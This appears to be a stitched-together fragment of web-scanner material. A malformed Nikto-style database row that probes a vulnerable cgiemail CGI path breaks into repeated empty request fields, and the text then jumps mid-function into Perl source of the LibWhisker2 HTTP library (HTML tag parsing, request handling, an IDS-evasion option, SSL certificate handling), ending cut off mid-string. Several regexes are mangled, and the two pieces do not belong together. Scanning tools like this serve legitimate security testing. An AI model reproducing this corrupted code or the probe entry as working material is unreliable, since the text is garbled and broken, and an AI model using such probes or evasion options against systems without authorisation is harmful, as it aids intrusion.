"000905","https://vulners.com/osvdb/OSVDB:651","4","/cgi-local/cgiemail-1.6/cgicso?query=","GET","BODY:","GET","BODY:&month=03&day=05","GET","BODY:","GET","BODY:&PATH=acatalog%2f","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:&op=browse","GET","BODY:.thtml","GET","BODY:.shtml","GET","BODY:.jsp","GET","BODY:.aspx","GET","BODY:.jsp","GET","BODY:","GET","BODY:;","GET","BODY:&addressemail=@JUNK(5)@example.com","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:>","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:>&tzone=dmz","GET","BODY:","GET","BODY:&startline=0","GET","BODY:&startline=0(naturally)","GET","BODY:,/system/status/session","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:","GET","BODY:', $c ); if ( $found < 0 ) { $found = index( $$dataref, '>', $c ); $found = $LEN if ( $found < 0 ); $c = $found; } else { $c = $found + 2; } if ( $usetagmap == 0 || defined $tagmap->{'!--'} ) { my $dat = substr( $$dataref, $tempstart + 4, $found - $tempstart - 4 ); &$callbackfunc( '!--', { '=' => $dat }, $dataref, $tempstart, $c - $tempstart + 1, $fref ); } next; } elsif ( !$INTAG ) { next if ( substr( $$dataref, $c + 1, 1 ) =~ tr/ \t\r\n// ); $c++; $INTAG = 1; $tagstart = $c - 1; $CURTAG = ''; while ( $c < $LEN && ( $x = substr( $$dataref, $c, 1 ) ) !~ tr/ \t\r\n>=// ) { $CURTAG .= $x; $c++; } chop $CURTAG if ( $xml && substr( $CURTAG, -1, 1 ) eq '/' ); $c++ if ( defined $x && $x ne '>' ); $LCCURTAG = lc($CURTAG); $INTAG = 0 if ( $LCCURTAG !~ tr/a-z0-9// ); next if ( $c >= $LEN ); $cc = substr( $$dataref, $c, 1 ); } } if ( $cc eq '>' ) { next if ( !$INTAG ); if ( $LCCURTAG eq 'script' && !$xml ) { $tempstart = $c + 1; pos($$dataref) = $c; if ( $$dataref !~ m#()#ig ) { # what to do if closing script not found? # right now, we'll just leave the tag alone; # this won't affect the 'absorption' of the # javascript code (and thus, affect parsing) } else { $c = pos($$dataref) - 1; my $l = length($1); $TAG{'='} = substr( $$dataref, $tempstart, $c - $tempstart - $l + 1 ); } } elsif ( $LCCURTAG eq 'textarea' && !$xml ) { $tempstart = $c + 1; pos($$dataref) = $c; if ( $$dataref !~ m#()#ig ) { # no closing textarea... } else { $c = pos($$dataref) - 1; my $l = length($1); $TAG{'='} = substr( $$dataref, $tempstart, $c - $tempstart - $l + 1 ); } } $INTAG = 0; $TAG{'/'}++ if ( $xml && substr( $$dataref, $c - 1, 1 ) eq '/' ); &$callbackfunc( $CURTAG, \%TAG, $dataref, $tagstart, $c - $tagstart + 1, $fref ) if ( $usetagmap == 0 || defined $tagmap->{$LCCURTAG} ); $CURTAG = $LCCURTAG = ''; %TAG = (); next; } if ($INTAG) { $ELEMENT = ''; $VALUE = undef; # eat whitespace pos($$dataref) = $c; if ( $$dataref !~ m/[^ \t\r\n]/g ) { $c = $LEN; next; # should we really abort? } $start = pos($$dataref) - 1; if ( $$dataref !~ m/[ \t\r\n<>=]/g ) { $c = $LEN; next; # should we really abort? } $c = pos($$dataref) - 1; if ( $c > $start ) { $ELEMENT = substr( $$dataref, $start, $c - $start ); chop $ELEMENT if ( $xml && substr( $ELEMENT, -1, 1 ) eq '/' ); } $cc = substr( $$dataref, $c, 1 ); if ( $cc ne '>' ) { # eat whitespace if ( $cc =~ tr/ \t\r\n// ) { $c++ while ( substr( $$dataref, $c, 1 ) =~ tr/ \t\r\n// ); } if ( substr( $$dataref, $c, 1 ) eq '=' ) { $c++; $start = $c; my $p = substr( $$dataref, $c, 1 ); if ( $p eq '"' || $p eq '\'' ) { $c++; $start++; $c = index( $$dataref, $p, $c ); if ( $c < 0 ) { $c = $LEN; next; } # Bad HTML $VALUE = substr( $$dataref, $start, $c - $start ); $c++; pos($$dataref) = $c; } else { pos($$dataref) = $c; if ( $$dataref !~ /[ \t\r\n>]/g ) { $c = $LEN; } else { $c = pos($$dataref) - 1; $VALUE = substr( $$dataref, $start, $c - $start ); chop $VALUE if ( $xml && substr( $$dataref, $c - 1, 2 ) eq '/>' ); } } if ( substr( $$dataref, $c, 1 ) =~ tr/ \t\r\n// ) { if ( $$dataref !~ /[^ \t\r\n]/g ) { $c = $LEN; next; # should we really abort? } $c = pos($$dataref) - 1; } } } # if $c ne '>' $c--; $TAG{$ELEMENT} = $VALUE if ( $ELEMENT ne '' || ( $xml && $ELEMENT ne '/' ) ); } } # finish off any tags we had going if ($INTAG) { &$callbackfunc( $CURTAG, \%TAG, $dataref, $tagstart, $c - $tagstart + 1, $fref ) if ( $usetagmap == 0 || defined $tagmap->{$LCCURTAG} ); } $DR = undef; # void dataref pointer } ################################################################ =item B Params: $position, $length, $replacement Return: nothing html_find_tags_rewrite() is used to 'rewrite' an HTML stream from within an html_find_tags() callback function. In general, you can think of html_find_tags_rewrite working as: substr(DATA, $position, $length) = $replacement Where DATA is the current HTML string the html parser is using. The reason you need to use this function and not substr() is because a few internal parser pointers and counters need to be adjusted to accommodate the changes. If you want to remove a piece of the string, just set the replacement to an empty string (''). If you wish to insert a string instead of overwrite, just set $length to 0; your string will be inserted at the indicated $position. =cut sub html_find_tags_rewrite { return if ( !defined $DR ); my ( $pos, $len, $replace_str ) = @_; # replace the data substr( $$DR, $pos, $len ) = $replace_str; # adjust pointer and length my $l = ( length($replace_str) - $len ); $c += $l; $LEN += $l; } ############################################################### sub _html_find_tags_adjust { my ( $p, $l ) = @_; $c += $p; $LEN += $l; } } # end container ################################################################ =item B Params: \$html_data Return: @urls The html_link_extractor() function uses the internal crawl tests to extract all the HTML links from the given HTML data stream. Note: html_link_extractor() does not unique the returned array of discovered links, nor does it attempt to remove javascript links or make the links absolute. It just extracts every raw link from the HTML stream and returns it. You'll have to do your own post-processing. =cut sub html_link_extractor { my $data = shift; my $ptr; if ( ref($data) ) { $ptr = $data; } else { $ptr = \$data; } # emulate the crawl object parts we need my %OBJ = ( urls => [], forms => {} ); $OBJ{response} = {}; $OBJ{response}->{whisker} = {}; $OBJ{response}->{whisker}->{uri} = ''; html_find_tags( $ptr, # data \&_crawl_extract_links_test, # callback function 0, # xml mode \%OBJ, # data object \%_crawl_linktags ); return @{ $OBJ{urls} }; } ################################################################ ################################################################## # cluster global variables %http_host_cache = (); ################################################################## =item B Params: %parameters Return: \%request_hash This function basically 'objectifies' the creation of whisker request hash objects. You would call it like: $req = http_new_request( host=>'www.example.com', uri=>'/' ) where 'host' and 'uri' can be any number of {whisker} hash control values (see http_init_request for default list). =cut sub http_new_request { my %X = @_; my ( $k, $v, %RET, %RES ); http_init_request( \%RET ); while ( ( $k, $v ) = each(%X) ) { $RET{whisker}->{$k} = $v; } $RES{whisker} = {}; $RES{whisker}->{MAGIC} = 31340; $RES{whisker}->{uri} = ''; return ( \%RET, \%RES ) if wantarray(); return \%RET; } ################################################################## =item B Params: [none] Return: \%response_hash This function basically 'objectifies' the creation of whisker response hash objects. You would call it like: $resp = http_new_response() =cut sub http_new_response { my %RET; $RET{whisker} = {}; $RET{whisker}->{MAGIC} = 31340; $RET{whisker}->{uri} = ''; return \%RET; } ################################################################## =item B Params: \%request_hash_to_initialize Return: Nothing (modifies input hash) Sets default values to the input hash for use. Sets the host to 'localhost', port 80, request URI '/', using HTTP 1.1 with GET method. The timeout is set to 10 seconds, no proxies are defined, and all URI formatting is set to standard HTTP syntax. It also sets the Connection (Keep-Alive) and User-Agent headers. NOTICE!! It's important to use http_init_request before calling http_do_request, or http_do_request might puke. Thus, a special magic value is placed in the hash to let http_do_request know that the hash has been properly initialized. If you really must 'roll your own' and not use http_init_request before you call http_do_request, you will at least need to set the MAGIC value (amongst other things). =cut sub http_init_request { # doesn't return anything my ($hin) = shift; return if ( !( defined $hin && ref($hin) ) ); %$hin = (); # clear control hash # control values $$hin{whisker} = { http_space1 => ' ', http_space2 => ' ', version => '1.1', method => 'GET', protocol => 'HTTP', port => 80, uri => '/', uri_prefix => '', uri_postfix => '', uri_param_sep => '?', host => 'localhost', timeout => 10, include_host_in_uri => 0, ignore_duplicate_headers => 1, normalize_incoming_headers => 1, lowercase_incoming_headers => 0, require_newline_after_headers => 0, invalid_protocol_return_value => 1, ssl => 0, ssl_save_info => 0, http_eol => "\x0d\x0a", force_close => 0, force_open => 0, retry => 1, trailing_slurp => 0, force_bodysnatch => 0, max_size => 0, MAGIC => 31339 }; # default header values $$hin{'Connection'} = 'Keep-Alive'; # $$hin{'User-Agent'} = "Mozilla (libwhisker/$LW2::VERSION)"; } ################################################################## =item B Params: \%request, \%response [, \%configs] Return: >=1 if error; 0 if no error (also modifies response hash) *THE* core function of libwhisker. http_do_request actually performs the HTTP request, using the values submitted in %request, and placing result values in %response. This allows you to resubmit %request in subsequent requests (%response is automatically cleared upon execution). You can submit 'runtime' config directives as %configs, which will be spliced into $hin{whisker}->{} before anything else. That means you can do: LW2::http_do_request(\%req,\%resp,{'uri'=>'/cgi-bin/'}); This will set $req{whisker}->{'uri'}='/cgi-bin/' before execution, and provides a simple shortcut (note: it does modify %req). This function will also retry any requests that bomb out during the transaction (but not during the connecting phase). This is controlled by the {whisker}->{retry} value. Also note that the returned error message in hout is the *last* error received. All retry errors are put into {whisker}->{retry_errors}, which is an anonymous array. Also note that all NTLM auth logic is implemented in http_do_request(). NTLM requires multiple requests in order to work correctly, and so this function attempts to wrap that and make it all transparent, so that the final end result is what's passed to the application. This function will return 0 on success, 1 on HTTP protocol error, and 2 on non-recoverable network connection error (you can retry error 1, but error 2 means that the server is totally unreachable and there's no point in retrying). =cut sub http_do_request { my ( $hin, $hout ) = ( shift, shift ); return 2 if ( !( defined $hin && ref($hin) ) ); return 2 if ( !( defined $hout && ref($hout) ) ); # setup hash %$hout = (); $$hout{whisker} = {}; $$hout{whisker}->{'MAGIC'} = 31340; $$hout{whisker}->{uri} = $$hin{whisker}->{uri}; if ( !defined $$hin{whisker} || !defined $$hin{whisker}->{'MAGIC'} || $$hin{whisker}->{'MAGIC'} != 31339 ) { $$hout{whisker}->{error} = 'Input hash not initialized'; return 2; } if ( defined $_[0] ) { # handle extra params my %hashref; if ( ref( $_[0] ) eq 'HASH' ) { %hashref = %{ $_[0] }; } else { %hashref = @_; } $$hin{whisker}->{$_} = $hashref{$_} foreach ( keys %hashref ); } if ( defined $$hin{whisker}->{'anti_ids'} ) { # handle anti_ids my %copy = %$hin; $copy{whisker} = {}; %{ $copy{whisker} } = %{ $$hin{whisker} }; encode_anti_ids( \%copy, $$hin{whisker}->{'anti_ids'} ); $hin = \%copy; } # find/setup stream my $cache_key = stream_key($hin); my $stream; if ( !defined $http_host_cache{$cache_key} ) { $stream = stream_new($hin); $http_host_cache{$cache_key} = $stream; } else { $stream = $http_host_cache{$cache_key}; } if ( !defined $stream ) { $$hout{whisker}->{error} = 'unable to allocate stream'; return 2; } my $retry_count = $$hin{whisker}->{retry}; my $puke_flag = 0; my $ret = 1; do { # retries wrapper my ( $aret, $pass ); if ( !$stream->{valid}->() ) { $stream->{clearall}->(); if ( !$stream->{open}->($hin) ) { $$hout{whisker}->{error} = 'opening stream: ' . $stream->{error}; $$hout{whisker}->{error} .= '(reconnect problem after prior request)' if ($puke_flag); return 2; } # freshly open stream/connection, handle auth if ( defined $$hin{whisker}->{proxy_host} && defined $$hin{whisker}->{auth_proxy_callback} ) { $aret = $$hin{whisker}->{auth_proxy_callback} ->( $stream, $hin, $hout ); return $aret if ( $aret != 0 ); # proxy auth error } if ( defined $$hin{whisker}->{auth_callback} ) { $aret = $$hin{whisker}->{auth_callback}->( $stream, $hin, $hout ); return 0 if ( $aret == 200 ); # auth not needed? return $aret if ( $aret != 0 ); # auth error } } _ssl_save_info( $hout, $stream ) if ( $$hin{whisker}->{ssl} > 0 && $$hin{whisker}->{ssl_save_info} > 0 ); $ret = _http_do_request_ex( $stream, $hin, $hout ); $puke_flag++ if ( $ret == 1 && defined( $$hout{whisker}->{http_data_sent} ) ); return $ret if ( $ret == 0 || $ret == 2 ); # success or fatal socket error $retry_count--; } while ( $retry_count >= 0 ); # if we get here, we still had errors, but no more retries return $ret; } ################################################################## sub _http_do_request_ex { my ( $stream, $hin, $hout, $raw ) = @_; return 2 if ( !defined $stream ); return 2 if ( !( defined $hin && ref($hin) ) ); return 2 if ( !( defined $hout && ref($hout) ) ); my $W = $hin->{whisker}; # setup hash, if needed if ( !defined $$hout{whisker}->{MAGIC} || $$hout{whisker}->{MAGIC} != 31340 ) { %$hout = (); $$hout{whisker} = {}; $$hout{whisker}->{'MAGIC'} = 31340; $$hout{whisker}->{uri} = $$hin{whisker}->{uri}; } ##### construct and send request $stream->{clear}->(); if ( defined $raw && ref($raw) ) { $stream->{queue}->($$raw); } else { $stream->{queue}->( http_req2line($hin) ); if ( $$W{version} ne '0.9' ) { $stream->{queue}->( http_construct_headers($hin) ); $stream->{queue}->( $$W{raw_header_data} ) if ( defined $$W{raw_header_data} ); $stream->{queue}->( $$W{http_eol} ); $stream->{queue}->( $$W{data} ) if ( defined $$W{data} ); } # http 0.9 support } # good time to fingerprint, if requested # if ( defined $$W{request_fingerprint} ) { # $$hout{whisker}->{request_fingerprint} = # 'md5:' . md5( $stream->{bufout} ) # if ( $$W{request_fingerprint} eq 'md5' ); # $$hout{whisker}->{request_fingerprint} = # 'md4:' . md4( $stream->{bufout} ) # if ( $$W{request_fingerprint} eq 'md4' ); # } # all data is wrangled...actually send it now if ( !$stream->{'write'}->() ) { $$hout{whisker}->{'error'} = 'sending request: ' . $stream->{error}; $stream->{'close'}->(); return 1; } # needed for SSL requests # NOTE: this is disabled because it's just a noop anyways # $stream->{writedone}->(); $$hout{whisker}->{http_data_sent} = 1; $$hout{whisker}->{'lowercase_incoming_headers'} = $$W{'lowercase_incoming_headers'}; ##### read and parse response my @H; if ( $$W{'version'} ne '0.9' ) { # Clear header fields before reading new headers (prevents accumulation on retries) foreach my $key (keys %$hout) { delete $$hout{$key} unless $key eq 'whisker'; } # Always initialize header_order to empty array (it's inside whisker hash) $$hout{whisker}->{header_order} = []; do { # catch '100 Continue' responses my $resp = _http_getline($stream); if ( !defined $resp ) { $$hout{whisker}->{error} = 'error reading HTTP response'; $$hout{whisker}->{data} = $stream->{bufin}; $stream->{'close'}->(); return 1; } $$hout{whisker}->{'raw_header_data'} .= $resp if ( defined $$W{'save_raw_headers'} ); if ( $resp !~ /^([^\/]+)\/(\d\.?\d?)([ \t]+)(\d+)([ \t]*)(.*?)([\r\n]+)/ ) { $$hout{whisker}->{'error'} = 'invalid HTTP response'; $$hout{whisker}->{'data'} = $resp; while ( defined( $_ = _http_getline($stream) ) ) { $$hout{whisker}->{'data'} .= $_; } $stream->{'close'}->(); return $$W{'invalid_protocol_return_value'} || 1; } $$hout{whisker}->{protocol} = $1; $$hout{whisker}->{version} = $2; $$hout{whisker}->{http_space1} = $3; $$hout{whisker}->{code} = $4; $$hout{whisker}->{http_space2} = $5; $$hout{whisker}->{message} = $6; $$hout{whisker}->{http_eol} = $7; $$hout{whisker}->{'100_continue'}++ if ( $4 == 100 ); $$hout{whisker}->{'uri_requested'} = $$W{'uri'}; # Clear headers before reading (needed for 100 Continue responses) # Headers from 100 Continue should be discarded, only final response headers kept if ( $4 == 100 ) { foreach my $key (keys %$hout) { delete $$hout{$key} unless $key eq 'whisker'; } $$hout{whisker}->{header_order} = []; # Also clear cookies array if it exists $$hout{whisker}->{cookies} = [] if defined $$hout{whisker}->{cookies}; } @H = http_read_headers( $stream, $hin, $hout ); if ( !$H[0] ) { $$hout{whisker}->{'error'} = 'Error in reading headers: ' . $H[1]; $stream->{'close'}->(); return 1; } if ( !defined $H[3] ) { # connection my ($t) = utils_find_lowercase_key( $hin, 'connection' ); $H[3] = $t || 'close'; } } while ( $$hout{whisker}->{'code'} == 100 ); } else { # http ver 0.9, we need to fake it since headers are not sent $$hout{whisker}->{version} = '0.9'; $$hout{whisker}->{code} = 200; $$hout{whisker}->{message} = ''; $H[3] = 'close'; } if ( $$hout{whisker}->{code}==404 && defined $$W{'shortcut_on_404'} ) { $stream->{'close'}->(); } elsif ( defined $$W{data_sock} ) { $$hout{whisker}->{data_sock} = $stream->{sock}; $$hout{whisker}->{data_stream} = $stream; } else { if ( $$W{'force_bodysnatch'} || ( $$W{'method'} ne 'HEAD' && $$hout{whisker}->{'code'} != 206 && $$hout{whisker}->{'code'} != 102 ) ) { return 1 if ( !http_read_body( $stream, $hin, $hout, $H[1], $H[2] ) ); # {hide_chunked_responses} stuff follows if ( lc( $H[1] ) eq 'chunked' && defined $$hin{whisker}->{hide_chunked_responses} && $$hin{whisker}->{hide_chunked_responses} == 1 && !defined $$hin{whisker}->{save_raw_chunks} ) { $$hout{'Content-Length'} = length( $$hout{whisker}->{data} ); utils_delete_lowercase_key( $hout, 'transfer-encoding' ); my $new = []; my $cl = 0; foreach ( @{ $$hout{whisker}->{header_order} } ) { my $l = lc($_); if ( $l eq 'content-length' ) { $cl++; next if ( $cl > 1 ); } push @$new, $_ if ( $l ne 'transfer-encoding' ); } push @$new, 'Content-Length' if ( $cl == 0 ); $$hout{whisker}->{header_order} = $new; } } my ($ch) = LW2::utils_find_lowercase_key( $hin, 'connection' ); my $cl = 0; $cl++ if ( ( lc( $H[3] ) ne 'keep-alive' || ( defined $ch && $ch =~ m/close/i ) ) && $$W{'force_open'} != 1 ); $cl++ if ( $$W{'force_close'} > 0 || $stream->{forceclose} > 0 ); $cl++ if ( $$W{'ssl'} > 0 && $LW_SSL_KEEPALIVE == 0 ); $stream->{'close'}->() if ($cl); } if ( defined $$W{'header_delete_on_success'} && ref( $$W{'header_delete_on_success'} ) ) { foreach ( @{ $$W{'header_delete_on_success'} } ) { delete $hin->{$_} if ( exists $hin->{$_} ); } delete $$W{header_delete_on_success}; } $stream->{reqs}++; $$hout{whisker}->{'stats_reqs'} = $stream->{reqs}; $$hout{whisker}->{'stats_syns'} = $stream->{syns}; $$hout{whisker}->{'socket_state'} = $stream->{state}; delete $$hout{whisker}->{'error'}; # no error return 0; } ################################################################## =item B Params: \%request, $uri_only_switch Return: $request req2line is used internally by http_do_request, as well as provides a convenient way to turn a %request configuration into an actual HTTP request line. If $switch is set to 1, then the returned $request will be the URI only ('/requested/page.html'), versus the entire HTTP request ('GET /requested/page.html HTTP/1.0\n\n'). Also, if the 'full_request_override' whisker config variable is set in %hin, then it will be returned instead of the constructed URI. =cut sub http_req2line { my ( $S, $hin, $UO ) = ( '', @_ ); $UO ||= 0; # notice: full_request_override can play havoc with proxy settings if ( defined $$hin{whisker}->{'full_request_override'} ) { return $$hin{whisker}->{'full_request_override'}; } else { # notice the components of a request--this is for flexibility if ( $UO != 1 ) { $S .= $$hin{whisker}->{'method'} . $$hin{whisker}->{'http_space1'}; if ( $$hin{whisker}->{'include_host_in_uri'} > 0 ) { if ( $$hin{whisker}->{'ssl'} == 1 ) { $S .= 'https://'; } else { $S .= 'http://'; } if ( defined $$hin{whisker}->{'uri_user'} ) { $S .= $$hin{whisker}->{'uri_user'}; if ( defined $$hin{whisker}->{'uri_password'} ) { $S .= ':' . $$hin{whisker}->{'uri_password'}; } $S .= '@'; } $S .= $$hin{whisker}->{'host'} . ':' . $$hin{whisker}->{'port'}; } } $S .= $$hin{whisker}->{'uri_prefix'} . $$hin{whisker}->{'uri'} . $$hin{whisker}->{'uri_postfix'}; if ( defined $$hin{whisker}->{'parameters'} && $$hin{whisker}->{'parameters'} ne '' ) { $S .= $$hin{whisker}->{'uri_param_sep'} . $$hin{whisker}->{'parameters'}; } if ( $UO != 1 ) { if ( $$hin{whisker}->{'version'} ne '0.9' ) { $S .= $$hin{whisker}->{'http_space2'} . $$hin{whisker}->{'protocol'} . '/' . $$hin{whisker}->{'version'}; } $S .= $$hin{whisker}->{'http_eol'}; } } return $S; } ################################################################## =item B Params: \%response Return: $response http_resp2line provides a convenient way to turn a %response hash back into the original HTTP response line. =cut sub http_resp2line { my $hout = shift; my $out = ''; return undef if ( !defined $hout || !ref($hout) ); return undef if ( $hout->{whisker}->{MAGIC} != 31340 ); $out .= $$hout{whisker}->{protocol}; $out .= '/'; $out .= $$hout{whisker}->{version}; $out .= $$hout{whisker}->{http_space1}; $out .= $$hout{whisker}->{code}; $out .= $$hout{whisker}->{http_space2}; $out .= $$hout{whisker}->{message}; $out .= $$hout{whisker}->{http_eol}; return $out; } ################################################################## sub _http_getline { my $stream = shift; my ( $str, $t, $bc ) = ( '', 0, 0 ); $t = index( $stream->{bufin}, "\n", 0 ); while ( $t < 0 ) { return undef if !$stream->{read}->() || length($stream->{bufin}) == $bc; $t = index( $stream->{bufin}, "\n", 0 ); $bc = length( $stream->{bufin} ); } my $r = substr( $stream->{bufin}, 0, $t + 1 ); $stream->{bufin} = substr( $stream->{bufin}, $t + 1 ); # substr($stream->{bufin},0,$t+1)=''; return $r; } ################################################################## sub _http_get { # read from socket w/ timeouts my ( $stream, $amount ) = @_; my ( $str, $t, $b ) = ( '', '', 0 ); while ( $amount > length( $stream->{bufin} ) ) { return undef if !$stream->{read}->() || length( $stream->{bufin} ) == $b; $b = length( $stream->{bufin} ); } my $r = substr( $stream->{bufin}, 0, $amount ); $stream->{bufin} = substr( $stream->{bufin}, $amount ); # substr($stream->{bufin},0,$amount)=''; return $r; } ################################################################## sub _http_getall { my ( $tmp, $b, $stream, $max_size ) = ('', 0, @_); while ( $stream->{read}->() && length( $stream->{bufin} ) != $b) { last if ( $max_size && length( $stream->{bufin} ) >= $max_size ); $b = length( $stream->{bufin} ); } ( $tmp, $stream->{bufin} ) = ( $stream->{bufin}, '' ); $tmp = substr($tmp, 0, $max_size) if($max_size && length($tmp) > $max_size); return $tmp; } ################################################################## =item B Params: $hash_ref Return: Nothing This function takes a %hin hash reference and makes sure the proper headers exist (for example, it will add the Host: header, calculate the Content-Length: header for POST requests, etc). For standard requests (i.e. you want the request to be HTTP RFC-compliant), you should call this function right before you call http_do_request. =cut sub http_fixup_request { my $hin = shift; return if ( !( defined $hin && ref($hin) ) ); $$hin{whisker}->{uri} = '/' if ( $$hin{whisker}->{uri} eq '' ); $$hin{whisker}->{http_space1}= ' '; $$hin{whisker}->{http_space2}= ' '; $$hin{whisker}->{protocol}= 'HTTP'; $$hin{whisker}->{uri_param_sep}= '?'; if ( $$hin{whisker}->{'version'} eq '1.1' ) { my ($host) = utils_find_lowercase_key($hin,'host'); $$hin{'Host'} = $$hin{whisker}->{'host'} if(!defined $host || $host eq ''); $$hin{'Host'} .= ':' . $$hin{whisker}->{'port'} if ( index($$hin{'Host'},':') == -1 && ( $$hin{whisker}->{port} != 80 && ( $$hin{whisker}->{ssl}==1 && $$hin{whisker}->{port} != 443 ) ) ); my ($conn) = utils_find_lowercase_key($hin,'connection'); $$hin{'Connection'} = 'Keep-Alive' if(!defined $conn || $conn eq ''); } elsif( $$hin{whisker}->{'version'} eq '1.0' ){ my ($conn) = utils_find_lowercase_key($hin,'connection'); $$hin{'Connection'} = 'close' if(!defined $conn || $conn eq ''); } utils_delete_lowercase_key( $hin, 'content-length' ); if ( $$hin{whisker}->{method} eq 'POST' || defined $$hin{whisker}->{data} ) { $$hin{whisker}->{data}||=''; $$hin{'Content-Length'} = length( $$hin{whisker}->{'data'} ); my ($v) = utils_find_lowercase_key( $hin, 'content-type' ); if ( !defined $v || $v eq '' ) { $$hin{'Content-Type'} = 'application/x-www-form-urlencoded'; } } #if(defined $$hin{whisker}->{'proxy_host'} && $$hin{whisker}->{ssl}==0){ if ( defined $$hin{whisker}->{'proxy_host'} ) { $$hin{whisker}->{'include_host_in_uri'} = 1; } } ################################################################## =item B Params: Nothing Return: Nothing The http_reset function will walk through the %http_host_cache, closing all open sockets and freeing SSL resources. It also clears out the host cache in case you need to rerun everything fresh. Note: if you just want to close a single connection, and you have a copy of the %request hash you used, you should use the http_close() function instead. =cut sub http_reset { my $stream; foreach $stream ( keys %http_host_cache ) { $stream->{'close'}->() if(ref($stream)); delete $http_host_cache{$stream}; } } ################################################################## =item B Params: Nothing Return: $boolean [, $lib_name, $version] The ssl_is_available() function will inform you whether SSL requests are allowed, which is dependent on whether the appropriate SSL libraries are installed on the machine. In scalar context, the function will return 1 or 0. In array context, the second element will be the SSL library name that is currently being used by LW2, and the third element will be the SSL library version number. Elements two and three (name and version) will be undefined if called in array context and no SSL libraries are available. =cut sub ssl_is_available { return 0 if ( $LW_SSL_LIB == 0 ); if ( $LW_SSL_LIB == 1 ) { return 1 if ( !wantarray() ); return ( 1, "Net::SSLeay", $Net::SSLeay::VERSION ); } elsif ( $LW_SSL_LIB == 2 ) { return 1 if ( !wantarray() ); return ( 1, "Net::SSL", $Net::SSL::VERSION ); } else { utils_carp('',"ssl_is_available: sanity check failed"); return 0; } } ################################################################## sub _ssl_save_info { my ( $hr, $stream ) = @_; my $cert; # streamtype 4: Net::SSLeay / IO::Socket::SSL path (supports SAN) if ( $stream->{streamtype} == 4 ) { my $SSL = $stream->{sock}; $hr->{whisker}->{ssl_cipher} = Net::SSLeay::get_cipher($SSL); if ( $cert = Net::SSLeay::get_peer_certificate($SSL) ) { $hr->{whisker}->{ssl_cert_subject} = Net::SSLeay::X509_NAME_oneline( Net::SSLeay::X509_get_subject_name($cert) ); $hr->{whisker}->{ssl_cert_issuer} = Net::SSLeay::X509_NAME_oneline( Net::SSLeay::X509_get_issuer_name($cert) ); $hr->{whisker}->{ssl_cert_altnames} = [ Net::SSLeay::X509_get_subjectAltNames($cert) ]; } return; } # streamtype 5: Net::SSL / Crypt::SSLeay path # NOTE: SAN extraction is not reliably available in-process from Crypt::SSLeay::X509, # and attempting to mix Net::SSLeay calls here can be unstable. We intentionally do # not set ssl_cert_altnames for streamtype 5. if ( $stream->{streamtype} == 5 ) { $hr->{whisker}->{ssl_cipher} = eval { $stream->{sock}->get_cipher() }; if ( $cert = eval { $stream->{sock}->get_peer_certificate() } ) { $hr->{whisker}->{ssl_cert_subject} = eval { $cert->subject_name() }; $hr->{whisker}->{ssl_cert_issuer} = eval { $cert->issuer_name() }; } return; } return; } ################################################################## =item B Params: $stream, \%in, \%out Return: $result_code, $encoding, $length, $connection Read HTTP headers from the given stream, storing the results in %out. On success, $result_code will be 1 and $encoding, $length, and $connection will hold the values of the Transfer-Encoding, Content-Length, and Connection headers, respectively. If any of those headers are not present, then it will have an 'undef' value. On an error, the $result_code will be 0 and $encoding will contain an error message. This function can be used to parse both request and response headers. Note: if there are multiple Transfer-Encoding, Content-Length, or Connection headers, then only the last header value is the one returned by the function. =cut sub http_read_headers { my ( $stream, $in, $hout ) = @_; my $W = $in->{whisker}; my ( $a, $b, $LC, $CL, $TE, $CO ); # we use direct access into the stream buffers for quickest # parsing of the headers my $last; pos( $stream->{bufin} ) = 0; while (1) { $last = pos( $stream->{bufin} ); if ( $stream->{bufin} !~ m/(.*?)[\r]{0,1}\n/g ) { if ( !$stream->{read}->() ) { last if ( $$W{require_newline_after_headers} == 0 && length( $stream->{bufin} ) - 1 == $last ); return ( 0, 'error reading in all headers' ); } pos( $stream->{bufin} ) = $last; next; } last if ( $1 eq '' ); # should we *not* puke on malformed header? return ( 0, 'malformed header' ) if ( $1 !~ m/^([^:]+):([ \t]*)(.*)$/ ); $$hout{whisker}->{'abnormal_header_spacing'}++ if ( $2 ne ' ' ); $a = $1; $b = $3; $LC = lc($a); next if ( $LC eq 'whisker' ); $TE = lc($b) if ( $LC eq 'transfer-encoding' ); $CL = $b if ( $LC eq 'content-length' ); $CO = lc($b) if ( $LC eq 'connection' ); push( @{ $$hout{whisker}->{cookies} }, $b ) if ( $LC eq 'set-cookie' || $LC eq 'set-cookie2' ); if ( $$W{'lowercase_incoming_headers'} > 0 ) { $a = $LC; } elsif ( $$W{'normalize_incoming_headers'} > 0 ) { $a = ucfirst($LC); $a = 'ETag' if ( $a eq 'Etag' ); $a =~ s/(-[a-z])/uc($1)/eg; } push( @{ $$hout{whisker}->{header_order} }, $a ); if ( defined $$hout{$a} && $$W{ignore_duplicate_headers} != 1 ) { $$hout{$a} = [ $$hout{$a} ] if ( !ref( $$hout{$a} ) ); push( @{ $$hout{$a} }, $b ); } else { $$hout{$a} = $b; } } my $found = pos( $stream->{bufin} ); $$hout{whisker}->{'raw_header_data'} = substr( $stream->{bufin}, 0, $found ) if ( defined $$W{'save_raw_headers'} ); $stream->{bufin} = substr( $stream->{bufin}, $found ); return ( 1, $TE, $CL, $CO ); } ################################################################## =item B Params: $stream, \%in, \%out, $encoding, $length Return: 1 on success, 0 on error (and sets $hout->{whisker}->{error}) Read the body from the given stream, placing it in $out->{whisker}->{data}. Handles chunked encoding. Can be used to read HTTP (POST) request or HTTP response bodies. $encoding parameter should be lowercase encoding type. NOTE: $out->{whisker}->{data} is erased/cleared when this function is called, leaving {data} to just contain this particular HTTP body. =cut sub http_read_body { my ( $temp, $stream, $hin, $hout, $enc, $len ) = ( '', @_ ); my $max_size = $hin->{whisker}->{max_size} || 0; $$hout{whisker}->{data} = ''; if ( defined $enc && lc($enc) eq 'chunked' ) { my $total = 0; my $x; my $saveraw = $$hin{whisker}->{save_raw_chunks} || 0; if ( !defined( $x = _http_getline($stream) ) ) { $$hout{whisker}->{'error'} = 'Error reading chunked 